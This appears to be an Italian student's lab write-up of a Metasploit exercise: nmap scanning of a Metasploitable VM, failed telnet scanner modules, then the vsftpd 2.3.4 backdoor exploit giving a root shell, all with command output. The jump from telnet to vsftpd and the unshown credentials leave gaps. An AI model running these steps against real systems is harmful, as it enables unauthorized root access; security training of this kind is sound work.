

Metasploit

Nell'esercizio di oggi viene richiesto di completare una sessione di hacking sulla macchina metasploitable attaccando il servizio 'telnet' utilizzando il tool metasploit.

Parto con il verificare la connettività tra le macchine con i comandi 'ping' e successivamente scansiono Metasploitable per cercare su che porta è attivo il servizio telnet (porta 23).

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raul@192: ~
(raul@192)-[~]
$ nmap -sV 192.168.51.101
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-22 15:23 GMT
Nmap scan report for 192.168.51.101
Host is up (0.0015s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
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Dopo aver trovato il servizio attivo sulla porta attivo metasploit con il comando 'msfconsole' e cerco se ci sono riscontri con telnet, trovo un exploit.

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--- 192.168.51.101 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4027ms
rtt min/avg/max/mdev = 0.857/1.595/3.624/1.057 ms

(raul@192)-[~]
$ msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb

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Metasploit v6.4.97-dev
--=[ 2,570 exploits - 1,316 auxiliary - 1,683 payloads
--=[ 433 post - 49 encoders - 13 nops - 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
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msf > search telnet auxiliary

Matching Modules
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#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/capture/telnet	.	normal	No	Authentication Capture: Telnet
1	auxiliary/scanner/telnet/brocade_enable_login	.	normal	No	Brocade Enable Login Check Scanner
2	auxiliary/dos/cisco/ios/telnet_rocem	2017-03-17	normal	No	Cisco IOS Telnet Denial of Service
3	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
4	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	No	Juniper SSH Backdoor Scanner
5	auxiliary/scanner/telnet/lantronix_telnet_password	.	normal	No	Lantronix Telnet Password Recovery
6	auxiliary/scanner/telnet/lantronix_telnet_version	.	normal	No	Lantronix Telnet Service Banner Detection
7	auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof	2010-12-21	normal	No	Microsoft IIS FTP Server Encoded Response Overflow Trigger
8	auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass	2021-09-06	normal	Yes	Netgear PNPX_GetShareFolderList Authentication Bypass
9	auxiliary/admin/http/netgear_r6700_pass_reset	2020-06-15	normal	Yes	Netgear R6700v3 Unauthenticated LAN Admin Password Reset
10	auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce	2021-04-21	normal	Yes	Netgear R7000 backup.cgi Heap Overflow RCE
11	auxiliary/scanner/telnet/telnet_ruggedcom	.	normal	No	RuggedCom Telnet Password Generator
12	auxiliary/scanner/telnet/satel_cmd_exec	2017-04-07	normal	No	Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
13	auxiliary/scanner/telnet/telnet_login	.	normal	No	Telnet Login Check Scanner
14	auxiliary/scanner/telnet/telnet_version	.	normal	No	Telnet Service Banner Detection
15	auxiliary/scanner/telnet/telnet_encrypt_overflow	.	normal	No	Telnet Service Encryption Key ID Overflow Detection

Uso l'exploit trovato e cerco le opzioni da configurare:

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msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > check options
[-] Msf::OptionValidateError The following options failed to validate:
[-] Invalid option RHOSTS: Host resolution failed: options
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):
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Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
CreateSession	true	no	Create a new session for every successful login
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&realn)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

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View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.51.101
RHOSTS => 192.168.51.101
msf auxiliary(scanner/telnet/telnet_login) > exploit
[-] Unknown command: exploit. Did you mean exploit? Run the help command for more details.
msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.51.101:23 - Error: 192.168.51.101: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::Telnet)
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Setto l'RHOST con l'indirizzo ip target, dopodiché inizio l'exploit, vedo che non funziona perché avevo caricato l'auxiliary errato, quindi cambio auxiliary

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msf auxiliary(scanner/telnet/telnet_login) > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
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Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

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View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.51.101
RHOSTS => 192.168.51.101
msf auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.51.101:23 - 192.168.51.101:23 TELNET
[*] 192.168.51.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_version) >
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msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.51.101
RHOSTS => 192.168.51.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
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#  Name                               Disclosure Date  Rank  Check  Description
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0  payload/cmd/unix/interact           .               normal No      Unix Command, Interact with Established Connection

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.51.101:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.51.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.51.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:38545 -> 192.168.51.101:6200) at 2026-01-18 14:17:16 +0000
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l

Active sessions
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Id  Name  Type           Information  Connection
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1   shell cmd/unix  192.168.50.100:38545 -> 192.168.51.101:6200 (192.168.51.101)

msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

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Finalmente trovo le credenziali, con il comando ‘telnet 192.168.51.101’ mi connessi al servizio telnet di meta da kali e finalmente ho accesso completo alla macchina.